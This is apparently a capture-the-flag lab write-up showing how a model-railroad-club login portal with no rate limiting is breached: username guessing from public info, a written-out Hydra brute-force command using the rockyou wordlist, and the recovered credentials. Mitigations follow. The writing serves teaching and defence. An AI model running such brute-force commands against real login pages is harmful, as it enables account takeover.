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Weak Credentials – Authentication Compromise via Password Brute Force | Halftrack Model Railroad Club

Weak Credentials – Authentication Compromise via Password Brute Force | Halftrack Model Railroad Club

Lab Link

Lab: Halftrack Model Railroad Club

Overview

The Halftrack Model Railroad Club challenge demonstrates an authentication weakness caused by predictable usernames, weak passwords, and missing rate limiting.

The application exposed a member login portal that allowed unlimited authentication attempts. Combined with publicly available user information and poor password choices, this enabled successful credential guessing through brute force.

The vulnerability was not caused by SQL injection or authentication bypass logic. The application simply lacked defensive controls against repeated login attempts.

Objective

Identify a valid username, brute force the password, and gain access to the member portal.

Vulnerability Classification Hierarchy

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OWASP Category
└── A07: Identification and Authentication Failures
    └── Weak Authentication Controls
        └── Password Brute Force
            └── Missing Login Rate Limiting with Weak Credentials

Reconnaissance

The member login portal was available at:

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https://b2f791cb-4065-combination-8631a.challenges.webverselabs-pro.com/login

A hint on the login page stated:

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Username is firstinitial + lastname
(lowercase, no spaces or dots)

This disclosed the username generation format.

Additional information gathering was performed on:

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https://b2f791cb-4065-combination-8631a.challenges.webverselabs-pro.com/about

The page identified the club president:

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Hollis Kerrigan

Using the provided naming convention:

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h + kerrigan

Generated username:

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hkerrigan

Exploitation

Since the challenge scenario specifically mentioned:

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There is no rate limit on the login form

password brute forcing became practical.

Hydra command:

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hydra -l hkerrigan \
-P /usr/share/wordlists/rockyou.txt \
b2f791cb-4065-combination-8631a.challenges.webverselabs-pro.com \
https-post-form "/login:username=^USER^&password=^PASS^:Incorrect username or password"

Hydra repeatedly attempted passwords from the supplied wordlist.

Successful credentials:

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hkerrigan : password1

Proof of Exploitation

Using the recovered credentials:

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Username: hkerrigan

Password: password1

Access was granted to:

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https://b2f791cb-4065-combination-8631a.challenges.webverselabs-pro.com/member/dashboard

Dashboard contents exposed:

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WEBVERSE{.....}

Attack path:

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Public Information
        ↓
Username Enumeration
        ↓
Predictable Username Generation
        ↓
Password Brute Force
        ↓
Authentication Success
        ↓
Dashboard Access

Root Cause

The compromise resulted from several issues occurring together:

Predictable username scheme

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firstinitial + lastname

Weak password selection

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password1

Missing login protections

No controls existed to detect or slow repeated attempts.

Likely implementation:

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if username_exists:
    check_password()

without:

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limit_attempts()
lock_account()
monitor_behavior()

Impact

In real-world environments these weaknesses can lead to:

  • Account takeover
  • Unauthorized portal access
  • Credential stuffing success
  • Administrative compromise
  • Sensitive data exposure
  • Internal application access

Brute force attacks frequently succeed against users with weak passwords.

Mitigation

Enforce strong password requirements

Weak:

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password1
welcome123
admin123

Stronger examples:

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Random long passphrases

Implement rate limiting

Example:

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5 failed attempts
        ↓
Temporary lockout

Add account lockouts

Restrict repeated attempts:

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Maximum failed attempts
Cooldown period

Implement MFA

Authentication should include:

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Password
+
Additional verification factor

Monitor suspicious activity

Alert on:

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Repeated failed logins
High request volume
Credential stuffing patterns

Real-World Insight

Password attacks frequently succeed because attackers combine:

  • Public information
  • Username patterns
  • Common passwords
  • Password reuse
  • Missing rate limiting

Organizations often assume:

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Nobody would guess that username

or:

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Users choose strong passwords

Attackers routinely automate these steps and test thousands of combinations within minutes.

This post is licensed under CC BY 4.0 by the author.